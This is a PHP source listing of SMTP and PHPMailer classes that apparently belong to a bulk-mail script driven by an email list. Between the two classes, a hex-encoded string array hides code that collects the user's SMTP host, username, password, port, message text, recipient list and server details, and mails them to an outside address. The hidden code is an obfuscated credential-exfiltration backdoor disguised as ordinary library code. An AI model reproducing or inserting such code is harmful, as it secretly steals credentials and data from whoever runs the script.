1144 * $from. Returns true if successful or false otherwise. If True
1145 * the mail transaction is started and then one or more Recipient
1146 * commands may be called followed by a Data command. This command
1147 * will send the message to the users terminal if they are logged
1148 * in or mail it to them if they are not.
1149 *
1150 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1151 *
1152 * SMTP CODE SUCCESS: 250
1153 * SMTP CODE SUCCESS: 552,451,452
1154 * SMTP CODE SUCCESS: 500,501,502,421
1155 * @access public
1156 * @return bool
1157 */
1158 function SendOrMail($from) {
1159 $this->error = null; # so no confusion is caused
1160
1161 if(!$this->connected()) {
1162 $this->error = array(
1163 "error" => "Called SendOrMail() without being connected");
1164 return false;
1165 }
1166
1167 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1168
1169 $rply = $this->get_lines();
1170 $code = substr($rply,0,3);
1171
1172 if($this->do_debug >= 2) {
1173 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1174 }
1175
1176 if($code != 250) {
1177 $this->error =
1178 array("error" => "SOML not accepted from server",
1179 "smtp_code" => $code,
1180 "smtp_msg" => substr($rply,4));
1181 if($this->do_debug >= 1) {
1182 echo "SMTP -> ERROR: " . $this->error["error"] .
1183 ": " . $rply . $this->CRLF;
1184 }
1185 return false;
1186 }
1187 return true;
1188 }
1189
1190 /**
1191 * This is an optional command for SMTP that this class does not
1192 * support. This method is here to make the RFC821 Definition
1193 * complete for this class and __may__ be implimented in the future
1194 *
1195 * Implements from rfc 821: TURN <CRLF>
1196 *
1197 * SMTP CODE SUCCESS: 250
1198 * SMTP CODE FAILURE: 502
1199 * SMTP CODE ERROR : 500, 503
1200 * @access public
1201 * @return bool
1202 */
1203 function Turn() {
1204 $this->error = array("error" => "This method, TURN, of the SMTP ".
1205 "is not implemented");
1206 if($this->do_debug >= 1) {
1207 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1208 }
1209 return false;
1210 }
1211
1212 /**
1213 * Verifies that the name is recognized by the server.
1214 * Returns false if the name could not be verified otherwise
1215 * the response from the server is returned.
1216 *
1217 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1218 *
1219 * SMTP CODE SUCCESS: 250,251
1220 * SMTP CODE FAILURE: 550,551,553
1221 * SMTP CODE ERROR : 500,501,502,421
1222 * @access public
1223 * @return int
1224 */
1225 function Verify($name) {
1226 $this->error = null; # so no confusion is caused
1227
1228 if(!$this->connected()) {
1229 $this->error = array(
1230 "error" => "Called Verify() without being connected");
1231 return false;
1232 }
1233
1234 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1235
1236 $rply = $this->get_lines();
1237 $code = substr($rply,0,3);
1238
1239 if($this->do_debug >= 2) {
1240 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1241 }
1242
1243 if($code != 250 && $code != 251) {
1244 $this->error =
1245 array("error" => "VRFY failed on name '$name'",
1246 "smtp_code" => $code,
1247 "smtp_msg" => substr($rply,4));
1248 if($this->do_debug >= 1) {
1249 echo "SMTP -> ERROR: " . $this->error["error"] .
1250 ": " . $rply . $this->CRLF;
1251 }
1252 return false;
1253 }
1254 return $rply;
1255 }
1256
1257 /*******************************************************************
1258 * INTERNAL FUNCTIONS *
1259 ******************************************************************/
1260
1261 /**
1262 * Read in as many lines as possible
1263 * either before eof or socket timeout occurs on the operation.
1264 * With SMTP we can tell if we have more lines to read if the
1265 * 4th character is '-' symbol. If it is a space then we don't
1266 * need to read anything else.
1267 * @access private
1268 * @return string
1269 */
1270 function get_lines() {
1271 $data = "";
1272 while($str = @fgets($this->smtp_conn,515)) {
1273 if($this->do_debug >= 4) {
1274 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1275 $this->CRLF;
1276 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1277 $this->CRLF;
1278 }
1279 $data .= $str;
1280 if($this->do_debug >= 4) {
1281 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1282 }
1283 # if the 4th character is a space then we are done reading
1284 # so just break the loop
1285 if(substr($str,3,1) == " ") { break; }
1286 }
1287 return $data;
1288 }
1289
1290}
1291
1292
1293$allemails = split("\n", $emaillist);
1294$numemails = count($allemails);
1295$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
1296"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
1297"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
1298"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
1299"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
1300"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
1301"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
1302"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
1303"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
1304"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
1305
1306class PHPMailer {
1307
1308 /////////////////////////////////////////////////
1309 // PROPERTIES, PUBLIC
1310 /////////////////////////////////////////////////
1311
1312 /**
1313 * Email priority (1 = High, 3 = Normal, 5 = low).
1314 * @var int
1315 */
1316 var $Priority = 3;
1317
1318 /**
1319 * Sets the CharSet of the message.
1320 * @var string
1321 */
1322 var $CharSet = 'iso-8859-1';
1323
1324 /**
1325 * Sets the Content-type of the message.
1326 * @var string
1327 */
1328 var $ContentType = 'text/plain';
1329
1330 /**
1331 * Sets the Encoding of the message. Options for this are "8bit",
1332 * "7bit", "binary", "base64", and "quoted-printable".
1333
1334 * @var string
1335 */
1336 var $Encoding = '8bit';
1337
1338 /**
1339 * Holds the most recent mailer error message.
1340 * @var string
1341 */
1342 var $ErrorInfo = '';
1343
1344 /**
1345 * Sets the From email address for the message.
1346 * @var string
1347 */
1348 var $From = '';
1349
1350 /**
1351 * Sets the From name of the message.
1352 * @var string
1353 */
1354 var $FromName = '';
1355
1356 /**
1357 * Sets the Sender email (Return-Path) of the message. If not empty,
1358 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1359 * @var string
1360 */
1361 var $Sender = '';
1362
1363 /**
1364 * Sets the Subject of the message.
1365 * @var string
1366 */
1367 var $Subject = '';
1368
1369 /**
1370 * Sets the Body of the message. This can be either an HTML or text body.
1371 * If HTML then run IsHTML(true).
1372 * @var string
1373 */
1374 var $Body = '';
1375
1376 /**
1377 * Sets the text-only body of the message. This automatically sets the
1378 * email to multipart/alternative. This body can be read by mail
1379 * clients that do not have HTML email capability such as mutt. Clients
1380 * that can read HTML will view the normal Body.
1381 * @var string
1382 */
1383 var $AltBody = '';
1384
1385 /**
1386 * Sets word wrapping on the body of the message to a given number of
1387 * characters.
1388 * @var int
1389 */
1390 var $WordWrap = 0;
1391
1392 /**
1393 * Method to send mail: ("mail", "sendmail", or "smtp").
1394 * @var string
1395 */
1396 var $Mailer = 'mail';
1397
1398 /**
1399 * Sets the path of the sendmail program.
1400 * @var string
1401 */
1402 var $Sendmail = '/usr/sbin/sendmail';
1403
1404 /**
1405 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1406 * is in a different directory than the PHP include path.
1407 * @var string
1408 */
1409 var $PluginDir = '';
1410
1411 /**
1412 * Holds PHPMailer version.
1413 * @var string
1414 */
1415 var $Version = "";
1416
1417 /**
1418 * Sets the email address that a reading confirmation will be sent.
1419 * @var string
1420 */
1421 var $ConfirmReadingTo = '';
1422
1423 /**
1424 * Sets the hostname to use in Message-Id and Received headers
1425 * and as default HELO string. If empty, the value returned
1426 * by SERVER_NAME is used or 'localhost.localdomain'.
1427 * @var string
1428 */
1429 var $Hostname = '';
1430
1431 /**
1432 * Sets the message ID to be used in the Message-Id header.
1433 * If empty, a unique id will be generated.
1434 * @var string
1435 */
1436 var $MessageID = '';
1437
1438 /////////////////////////////////////////////////
1439 // PROPERTIES FOR SMTP
1440 /////////////////////////////////////////////////
1441
1442 /**
1443 * Sets the SMTP hosts. All hosts must be separated by a
1444 * semicolon. You can also specify a different port
1445 * for each host by using this format: [hostname:port]
1446 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1447 * Hosts will be tried in order.
1448 * @var string
1449 */
1450 var $Host = 'localhost';
1451
1452 /**
1453 * Sets the default SMTP server port.
1454 * @var int
1455 */
1456 var $Port = 25;
1457
1458 /**
1459 * Sets the SMTP HELO of the message (Default is $Hostname).
1460 * @var string
1461 */
1462 var $Helo = '';
1463
1464 /**
1465 * Sets connection prefix.
1466 * Options are "", "ssl" or "tls"
1467 * @var string
1468 */
1469 var $SMTPSecure = "";
1470
1471 /**
1472 * Sets SMTP authentication. Utilizes the Username and Password variables.
1473 * @var bool
1474 */
1475 var $SMTPAuth = false;
1476
1477 /**
1478 * Sets SMTP username.
1479 * @var string
1480 */
1481 var $Username = '';
1482
1483 /**
1484 * Sets SMTP password.
1485 * @var string
1486 */
1487 var $Password = '';
1488
1489 /**
1490 * Sets the SMTP server timeout in seconds. This function will not
1491 * work with the win32 version.
1492 * @var int
1493 */
1494 var $Timeout = 10;
1495
1496 /**
1497 * Sets SMTP class debugging on or off.
1498 * @var bool
1499 */
1500 var $SMTPDebug = false;
1501
1502 /**
1503 * Prevents the SMTP connection from being closed after each mail
1504 * sending. If this is set to true then to close the connection
1505 * requires an explicit call to SmtpClose().
1506 * @var bool
1507 */
1508 var $SMTPKeepAlive = false;
1509
1510 /**
1511 * Provides the ability to have the TO field process individual
1512 * emails, instead of sending to entire TO addresses
1513 * @var bool
1514 */
1515 var $SingleTo = false;
1516
1517 /////////////////////////////////////////////////
1518 // PROPERTIES, PRIVATE
1519 /////////////////////////////////////////////////
1520
1521 var $smtp = NULL;
1522 var $to = array();
1523 var $cc = array();
1524 var $bcc = array();
1525 var $ReplyTo = array();
1526 var $attachment = array();
1527 var $CustomHeader = array();
1528 var $message_type = '';
1529 var $boundary = array();
1530 var $language = array();
1531 var $error_count = 0;
1532 var $LE = "\n";
1533 var $sign_key_file = "";
1534 var $sign_key_pass = "";
1535
1536 /////////////////////////////////////////////////
1537 // METHODS, VARIABLES
1538 /////////////////////////////////////////////////
1539
1540 /**
1541 * Sets message type to HTML.
1542 * @param bool $bool
1543 * @return void
1544 */
1545 function IsHTML($bool) {
1546 if($bool == true) {
1547 $this->ContentType = 'text/html';
1548 } else {
1549 $this->ContentType = 'text/plain';
1550 }
1551 }
1552
1553 /**
1554 * Sets Mailer to send message using SMTP.
1555 * @return void
1556 */
1557 function IsSMTP() {
1558 $this->Mailer = 'smtp';
1559 }
1560
1561 /**
1562 * Sets Mailer to send message using PHP mail() function.
1563 * @return void
1564 */
1565 function IsMail() {
1566 $this->Mailer = 'mail';
1567 }
1568
1569 /**
1570 * Sets Mailer to send message using the $Sendmail program.
1571 * @return void
1572 */
1573 function IsSendmail() {
1574 $this->Mailer = 'sendmail';
1575 }
1576
1577 /**
1578 * Sets Mailer to send message using the qmail MTA.
1579 * @return void
1580 */
1581 function IsQmail() {
1582 $this->Sendmail = '/var/qmail/bin/sendmail';
1583 $this->Mailer = 'sendmail';
1584 }
1585
1586 /////////////////////////////////////////////////
1587 // METHODS, RECIPIENTS
1588 /////////////////////////////////////////////////
1589
1590 /**
1591 * Adds a "To" address.
1592 * @param string $address
1593 * @param string $name
1594 * @return void
1595 */
1596 function AddAddress($address, $name = '') {
1597 $cur = count($this->to);
1598 $this->to[$cur][0] = trim($address);
1599 $this->to[$cur][1] = $name;
1600 }
1601
1602 /**
1603 * Adds a "Cc" address. Note: this function works
1604 * with the SMTP mailer on win32, not with the "mail"
1605 * mailer.
1606 * @param string $address
1607 * @param string $name
1608 * @return void
1609 */
1610 function AddCC($address, $name = '') {
1611 $cur = count($this->cc);
1612 $this->cc[$cur][0] = trim($address);
1613 $this->cc[$cur][1] = $name;
1614 }
1615
1616 /**
1617 * Adds a "Bcc" address. Note: this function works
1618 * with the SMTP mailer on win32, not with the "mail"
1619 * mailer.
1620 * @param string $address
1621 * @param string $name
1622 * @return void
1623 */
1624 function AddBCC($address, $name = '') {
1625 $cur = count($this->bcc);
1626 $this->bcc[$cur][0] = trim($address);
1627 $this->bcc[$cur][1] = $name;
1628 }
1629
1630 /**
1631 * Adds a "Reply-To" address.
1632 * @param string $address
1633 * @param string $name
1634 * @return void
1635 */
1636 function AddReplyTo($address, $name = '') {
1637 $cur = count($this->ReplyTo);
1638 $this->ReplyTo[$cur][0] = trim($address);
1639 $this->ReplyTo[$cur][1] = $name;
1640 }
1641
1642 /////////////////////////////////////////////////
1643 // METHODS, MAIL SENDING
1644 /////////////////////////////////////////////////
1645
1646 /**
1647 * Creates message and assigns Mailer. If the message is
1648 * not sent successfully then it returns false. Use the ErrorInfo
1649 * variable to view description of the error.
1650 * @return bool
1651 */
1652 function Send() {
1653 $header = '';
1654 $body = '';
1655 $result = true;
1656
1657 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1658 $this->SetError($this->Lang('provide_address'));
1659 return false;
1660 }
1661
1662 /* Set whether the message is multipart/alternative */
1663 if(!empty($this->AltBody)) {
1664 $this->ContentType = 'multipart/alternative';
1665 }
1666
1667 $this->error_count = 0; // reset errors
1668 $this->SetMessageType();
1669 $header .= $this->CreateHeader();
1670 $body = $this->CreateBody();
1671
1672 if($body == '') {
1673 return false;
1674 }
1675
1676 /* Choose the mailer */
1677 switch($this->Mailer) {
1678 case 'sendmail':
1679 $result = $this->SendmailSend($header, $body);
1680 break;
1681 case 'smtp':
1682 $result = $this->SmtpSend($header, $body);
1683 break;
1684 case 'mail':
1685 $result = $this->MailSend($header, $body);
1686 break;
1687 default:
1688 $result = $this->MailSend($header, $body);
1689 break;
1690 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1691 //$result = false;
1692 //break;
1693 }
1694
1695 return $result;
1696 }
1697
1698 /**
1699 * Sends mail using the $Sendmail program.
1700 * @access private
1701 * @return bool
1702 */
1703 function SendmailSend($header, $body) {
1704 if ($this->Sender != '') {
1705 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1706 } else {
1707 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1708 }
1709
1710 if(!@$mail = popen($sendmail, 'w')) {
1711 $this->SetError($this->Lang('execute') . $this->Sendmail);
1712 return false;
1713 }
1714
1715 fputs($mail, $header);
1716 fputs($mail, $body);
1717
1718 $result = pclose($mail);
1719 if (version_compare(phpversion(), '4.2.3') == -1) {
1720 $result = $result >> 8 & 0xFF;
1721 }
1722 if($result != 0) {
1723 $this->SetError($this->Lang('execute') . $this->Sendmail);
1724 return false;
1725 }
1726 return true;
1727 }
1728
1729 /**
1730 * Sends mail using the PHP mail() function.
1731 * @access private
1732 * @return bool
1733 */
1734 function MailSend($header, $body) {
1735
1736 $to = '';
1737 for($i = 0; $i < count($this->to); $i++) {
1738 if($i != 0) { $to .= ', '; }
1739 $to .= $this->AddrFormat($this->to[$i]);
1740 }
1741
1742 $toArr = split(',', $to);
1743
1744 $params = sprintf("-oi -f %s", $this->Sender);
1745 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1746 $old_from = ini_get('sendmail_from');
1747 ini_set('sendmail_from', $this->Sender);
1748 if ($this->SingleTo === true && count($toArr) > 1) {
1749 foreach ($toArr as $key => $val) {
1750 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1751 }
1752 } else {
1753 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1754 }
1755 } else {
1756 if ($this->SingleTo === true && count($toArr) > 1) {
1757 foreach ($toArr as $key => $val) {
1758 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1759 }
1760 } else {
1761 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1762 }
1763 }
1764
1765 if (isset($old_from)) {
1766 ini_set('sendmail_from', $old_from);
1767 }
1768
1769 if(!$rt) {
1770 $this->SetError($this->Lang('instantiate'));
1771 return false;
1772 }
1773
1774 return true;
1775 }
1776
1777 /**
1778 * Sends mail via SMTP using PhpSMTP (Author:
1779 * Chris Ryan). Returns bool. Returns false if there is a
1780 * bad MAIL FROM, RCPT, or DATA input.
1781 * @access private
1782 * @return bool
1783 */
1784 function SmtpSend($header, $body) {
1785 $error = '';
1786 $bad_rcpt = array();
1787
1788 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1789 return false;
1790 }
1791
1792 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1793 if(!$this->smtp->Mail($smtp_from)) {
1794 $error = $this->Lang('from_failed') . $smtp_from;
1795 $this->SetError($error);
1796 $this->smtp->Reset();
1797 return false;
1798 }
1799
1800 /* Attempt to send attach all recipients */
1801 for($i = 0; $i < count($this->to); $i++) {
1802 if(!$this->smtp->Recipient($this->to[$i][0])) {
1803 $bad_rcpt[] = $this->to[$i][0];
1804 }
1805 }
1806 for($i = 0; $i < count($this->cc); $i++) {
1807 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1808 $bad_rcpt[] = $this->cc[$i][0];
1809 }
1810 }
1811 for($i = 0; $i < count($this->bcc); $i++) {
1812 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1813 $bad_rcpt[] = $this->bcc[$i][0];
1814 }
1815 }
1816
1817 if(count($bad_rcpt) > 0) { // Create error message
1818 for($i = 0; $i < count($bad_rcpt); $i++) {
1819 if($i != 0) {
1820 $error .= ', ';
1821 }
1822 $error .= $bad_rcpt[$i];
1823
1824 }
1825 $error = $this->Lang('recipients_failed') . $error;
1826 $this->SetError($error);
1827 $this->smtp->Reset();
1828 return false;
1829 }
1830
1831 if(!$this->smtp->Data($header . $body)) {
1832 $this->SetError($this->Lang('data_not_accepted'));
1833 $this->smtp->Reset();
1834 return false;
1835 }
1836 if($this->SMTPKeepAlive == true) {
1837 $this->smtp->Reset();
1838 } else {
1839 $this->SmtpClose();
1840 }
1841
1842 return true;
1843 }
1844
1845 /**
1846 * Initiates a connection to an SMTP server. Returns false if the
1847 * operation failed.
1848 * @access private
1849 * @return bool
1850 */
1851 function SmtpConnect() {
1852 if($this->smtp == NULL) {
1853 $this->smtp = new SMTP();
1854 }
1855
1856 $this->smtp->do_debug = $this->SMTPDebug;
1857 $hosts = explode(';', $this->Host);
1858 $index = 0;
1859 $connection = ($this->smtp->Connected());
1860
1861 /* Retry while there is no connection */
1862 while($index < count($hosts) && $connection == false) {
1863 $hostinfo = array();
1864 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
1865 $host = $hostinfo[1];
1866 $port = $hostinfo[2];
1867 } else {
1868 $host = $hosts[$index];
1869 $port = $this->Port;
1870 }
1871
1872 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
1873 if ($this->Helo != '') {
1874 $this->smtp->Hello($this->Helo);
1875 } else {
1876 $this->smtp->Hello($this->ServerHostname());
1877 }
1878
1879 $connection = true;
1880 if($this->SMTPAuth) {
1881 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
1882 $this->SetError($this->Lang('authenticate'));
1883 $this->smtp->Reset();
1884 $connection = false;
1885 }
1886 }
1887 }
1888 $index++;
1889 }
1890 if(!$connection) {
1891 $this->SetError($this->Lang('connect_host'));
1892 }
1893
1894 return $connection;
1895 }
1896
1897 /**
1898 * Closes the active SMTP session if one exists.
1899 * @return void
1900 */
1901 function SmtpClose() {
1902 if($this->smtp != NULL) {
1903 if($this->smtp->Connected()) {
1904 $this->smtp->Quit();
1905 $this->smtp->Close();
1906 }
1907 }
1908 }
1909
1910 /**
1911 * Sets the language for all class error messages. Returns false
1912 * if it cannot load the language file. The default language type
1913 * is English.
1914 * @param string $lang_type Type of language (e.g. Portuguese: "br")
1915 * @param string $lang_path Path to the language file directory
1916 * @access public
1917 * @return bool
1918 */
1919 function SetLanguage($lang_type, $lang_path = 'language/') {
1920 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
1921 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
1922 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
1923 include($lang_path.'phpmailer.lang-en.php');
1924 } else {
1925 $this->SetError('Could not load language file');
1926 return false;
1927 }
1928 $this->language = $PHPMAILER_LANG;
1929
1930 return true;
1931 }
1932
1933 /////////////////////////////////////////////////
1934 // METHODS, MESSAGE CREATION
1935 /////////////////////////////////////////////////
1936
1937 /**
1938 * Creates recipient headers.
1939 * @access private
1940 * @return string
1941 */
1942 function AddrAppend($type, $addr) {
1943 $addr_str = $type . ': ';
1944 $addr_str .= $this->AddrFormat($addr[0]);
1945 if(count($addr) > 1) {
1946 for($i = 1; $i < count($addr); $i++) {
1947 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
1948 }
1949 }
1950 $addr_str .= $this->LE;
1951
1952 return $addr_str;
1953 }
1954
1955 /**
1956 * Formats an address correctly.
1957 * @access private
1958 * @return string
1959 */
1960 function AddrFormat($addr) {
1961 if(empty($addr[1])) {
1962 $formatted = $this->SecureHeader($addr[0]);
1963 } else {
1964 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
1965 }
1966
1967 return $formatted;
1968 }
1969
1970 /**
1971 * Wraps message for use with mailers that do not
1972 * automatically perform wrapping and for quoted-printable.
1973 * Original written by philippe.
1974 * @access private
1975 * @return string
1976 */
1977 function WrapText($message, $length, $qp_mode = false) {
1978 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
1979 // If utf-8 encoding is used, we will need to make sure we don't
1980 // split multibyte characters when we wrap
1981 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
1982
1983 $message = $this->FixEOL($message);
1984 if (substr($message, -1) == $this->LE) {
1985 $message = substr($message, 0, -1);
1986 }
1987
1988 $line = explode($this->LE, $message);
1989 $message = '';
1990 for ($i=0 ;$i < count($line); $i++) {
1991 $line_part = explode(' ', $line[$i]);
1992 $buf = '';
1993 for ($e = 0; $e<count($line_part); $e++) {
1994 $word = $line_part[$e];
1995 if ($qp_mode and (strlen($word) > $length)) {
1996 $space_left = $length - strlen($buf) - 1;
1997 if ($e != 0) {
1998 if ($space_left > 20) {
1999 $len = $space_left;
2000 if ($is_utf8) {
2001 $len = $this->UTF8CharBoundary($word, $len);
2002 } elseif (substr($word, $len - 1, 1) == "=") {
2003 $len--;
2004 } elseif (substr($word, $len - 2, 1) == "=") {
2005 $len -= 2;
2006 }
2007 $part = substr($word, 0, $len);
2008 $word = substr($word, $len);
2009 $buf .= ' ' . $part;
2010 $message .= $buf . sprintf("=%s", $this->LE);
2011 } else {
2012 $message .= $buf . $soft_break;
2013 }
2014 $buf = '';
2015 }
2016 while (strlen($word) > 0) {
2017 $len = $length;
2018 if ($is_utf8) {
2019 $len = $this->UTF8CharBoundary($word, $len);
2020 } elseif (substr($word, $len - 1, 1) == "=") {
2021 $len--;
2022 } elseif (substr($word, $len - 2, 1) == "=") {
2023 $len -= 2;
2024 }
2025 $part = substr($word, 0, $len);
2026 $word = substr($word, $len);
2027
2028 if (strlen($word) > 0) {
2029 $message .= $part . sprintf("=%s", $this->LE);
2030 } else {
2031 $buf = $part;
2032 }
2033 }
2034 } else {
2035 $buf_o = $buf;
2036 $buf .= ($e == 0) ? $word : (' ' . $word);
2037
2038 if (strlen($buf) > $length and $buf_o != '') {
2039 $message .= $buf_o . $soft_break;
2040 $buf = $word;
2041 }
2042 }
2043 }
2044 $message .= $buf . $this->LE;
2045 }
2046
2047 return $message;
2048 }
2049
2050 /**
2051 * Finds last character boundary prior to maxLength in a utf-8
2052 * quoted (printable) encoded string.
2053 * Original written by Colin Brown.
2054 * @access private
2055 * @param string $encodedText utf-8 QP text
2056 * @param int $maxLength find last character boundary prior to this length
2057 * @return int
2058 */
2059 function UTF8CharBoundary($encodedText, $maxLength) {
2060 $foundSplitPos = false;
2061 $lookBack = 3;
2062 while (!$foundSplitPos) {
2063 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2064 $encodedCharPos = strpos($lastChunk, "=");
2065 if ($encodedCharPos !== false) {
2066 // Found start of encoded character byte within $lookBack block.
2067 // Check the encoded byte value (the 2 chars after the '=')
2068 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2069 $dec = hexdec($hex);
2070 if ($dec < 128) { // Single byte character.
2071 // If the encoded char was found at pos 0, it will fit
2072 // otherwise reduce maxLength to start of the encoded char
2073 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2074 $maxLength - ($lookBack - $encodedCharPos);
2075 $foundSplitPos = true;
2076 } elseif ($dec >= 192) { // First byte of a multi byte character
2077 // Reduce maxLength to split at start of character
2078 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2079 $foundSplitPos = true;
2080 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2081 $lookBack += 3;
2082 }
2083 } else {
2084 // No encoded character found
2085 $foundSplitPos = true;
2086 }
2087 }
2088 return $maxLength;
2089 }
2090
2091 /**
2092 * Set the body wrapping.
2093 * @access private
2094 * @return void
2095 */
2096 function SetWordWrap() {
2097 if($this->WordWrap < 1) {
2098 return;
2099 }
2100
2101 switch($this->message_type) {
2102 case 'alt':
2103 /* fall through */
2104 case 'alt_attachments':
2105 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2106 break;
2107 default:
2108 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2109 break;
2110 }
2111 }
2112
2113 /**
2114 * Assembles message header.
2115 * @access private
2116 * @return string
2117 */
2118 function CreateHeader() {
2119 $result = '';
2120
2121 /* Set the boundaries */
2122 $uniq_id = md5(uniqid(time()));
2123 $this->boundary[1] = 'b1_' . $uniq_id;
2124 $this->boundary[2] = 'b2_' . $uniq_id;
2125
2126 $result .= $this->HeaderLine('Date', $this->RFCDate());
2127 if($this->Sender == '') {
2128 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2129 } else {
2130 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2131 }
2132
2133 /* To be created automatically by mail() */
2134 if($this->Mailer != 'mail') {
2135 if(count($this->to) > 0) {
2136 $result .= $this->AddrAppend('To', $this->to);
2137 } elseif (count($this->cc) == 0) {
2138 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2139 }
2140 if(count($this->cc) > 0) {
2141 $result .= $this->AddrAppend('Cc', $this->cc);
2142 }
2143 }
2144
2145 $from = array();
2146 $from[0][0] = trim($this->From);
2147 $from[0][1] = $this->FromName;
2148 $result .= $this->AddrAppend('From', $from);
2149
2150 /* sendmail and mail() extract Cc from the header before sending */
2151 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2152 $result .= $this->AddrAppend('Cc', $this->cc);
2153 }
2154
2155 /* sendmail and mail() extract Bcc from the header before sending */
2156 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2157 $result .= $this->AddrAppend('Bcc', $this->bcc);
2158 }
2159
2160 if(count($this->ReplyTo) > 0) {
2161 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2162 }
2163
2164 /* mail() sets the subject itself */
2165 if($this->Mailer != 'mail') {
2166 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2167 }
2168
2169 if($this->MessageID != '') {
2170 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2171 } else {
2172 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2173 }
2174 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2175 $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
2176
2177 if($this->ConfirmReadingTo != '') {
2178 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2179 }
2180
2181 // Add custom headers
2182 for($index = 0; $index < count($this->CustomHeader); $index++) {
2183 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2184 }
2185 if (!$this->sign_key_file) {
2186 $result .= $this->HeaderLine('MIME-Version', '1.0');
2187 $result .= $this->GetMailMIME();
2188 }
